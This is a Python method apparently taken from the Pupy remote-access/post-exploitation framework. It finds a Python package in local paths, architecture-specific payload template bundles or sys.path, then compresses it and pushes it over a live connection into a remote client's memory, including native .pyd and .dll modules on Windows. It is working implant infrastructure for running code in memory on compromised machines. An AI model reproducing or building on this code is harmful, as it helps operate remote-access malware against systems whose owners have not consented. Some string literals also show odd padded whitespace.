'load a python module into memory depending on what OS the client is.
This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
For other platforms : loading .so in memory is not supported yet.'

def _load_package(self, module_name, force=False, remote=False):

    update = False
    pupyimporter = self.conn.modules.pupyimporter
    initial_module_name = module_name
    if ((not remote) and (not module_name.endswith(('.dll', '.so')))):
        if pupyimporter.has_module(module_name):
            if (not force):
                return False
            else:
                update = True
                pupyimporter.invalidate_module(module_name)
    start_path = module_name.replace('.', '/')
    package_found = False
    package_path = None
    for search_path in self.get_packages_path():
        try:
            modules_dic = self._get_module_dic(search_path, start_path, remote=remote)
            if modules_dic:
                package_path = search_path
                break
        except Exception as e:
            if remote:
                return False
            else:
                raise PupyModuleError('Error    while    loading    package    {}:    {}'.format(module_name, traceback.format_exc()))
    if ((not modules_dic) and self.arch):
        arch_bundle = os.path.join(ROOT, 'payload_templates', (((self.platform + '-') + self.arch) + '.zip'))
        if os.path.exists(arch_bundle):
            modules_dic = {}
            with ZipFile(arch_bundle, 'r') as bundle:
                possible_prefixes = ('', 'site-packages/win32/lib', 'site-packages/win32', 'site-packages/pywin32_system32', 'site-packages', 'lib-dynload')
                endings = ('/', '.pyo', '.pyc', '.py', '.pyd', '.so', '.dll')
                if (module_name in ('pythoncom', 'pythoncomloader', 'pywintypes')):
                    endings = tuple(['27.dll'])
                start_paths = tuple([('/'.join([x, start_path]).strip('/') + y) for x in possible_prefixes for y in endings])
                for info in bundle.infolist():
                    if info.filename.startswith(start_paths):
                        module_name = info.filename
                        for prefix in possible_prefixes:
                            if module_name.startswith((prefix + '/')):
                                module_name = module_name[(len(prefix) + 1):]
                                break
                        try:
                            (base, ext) = module_name.rsplit('.', 1)
                        except:
                            continue
                        if ((ext == 'py') and (((base + '.pyc') in modules_dic) or ((base + '.pyo') in modules_dic))):
                            continue
                        elif (ext == 'pyc'):
                            if ((base + '.py') in modules_dic):
                                del modules_dic[(base + '.py')]
                            if ((base + '.pyo') in modules_dic):
                                continue
                        elif (ext == 'pyo'):
                            if ((base + '.py') in modules_dic):
                                del modules_dic[(base + '.py')]
                            if ((base + '.pyc') in modules_dic):
                                del modules_dic[(base + '.pyc')]
                        elif (ext == 'pyd'):
                            if ((base + '.py') in modules_dic):
                                del modules_dic[(base + '.py')]
                            if ((base + '.pyc') in modules_dic):
                                del modules_dic[(base + '.pyc')]
                            if ((base + '.pyo') in modules_dic):
                                del modules_dic[(base + '.pyo')]
                        modules_dic[module_name] = bundle.read(info.filename)
    if (not modules_dic):
        for search_path in sys.path:
            try:
                modules_dic = self._get_module_dic(search_path, start_path, pure_python_only=False, remote=remote, check_server_arch=True)
                if modules_dic:
                    logging.info(('package    %s    not    found    in    packages/,    but    found    in    local    sys.path,    attempting    to    push    it    remotely...' % initial_module_name))
                    package_path = search_path
                    break
            except BinaryObjectError as e:
                logging.warning(e)
            except Exception as e:
                if remote:
                    return False
                else:
                    raise PupyModuleError('Error    while    loading    package    from    sys.path    {}:    {}'.format(initial_module_name, traceback.format_exc()))
    if (not modules_dic):
        if remote:
            return False
        else:
            raise PupyModuleError("Couldn't    find    package:    {}".format(module_name))
    pupyimporter.pupy_add_package(zlib.compress(cPickle.dumps(modules_dic), 9), compressed=True, name=(None if remote else initial_module_name))
    logging.debug(('package    %s    loaded    on    %s    from    path=%s' % (initial_module_name, self.short_name(), package_path)))
    return True
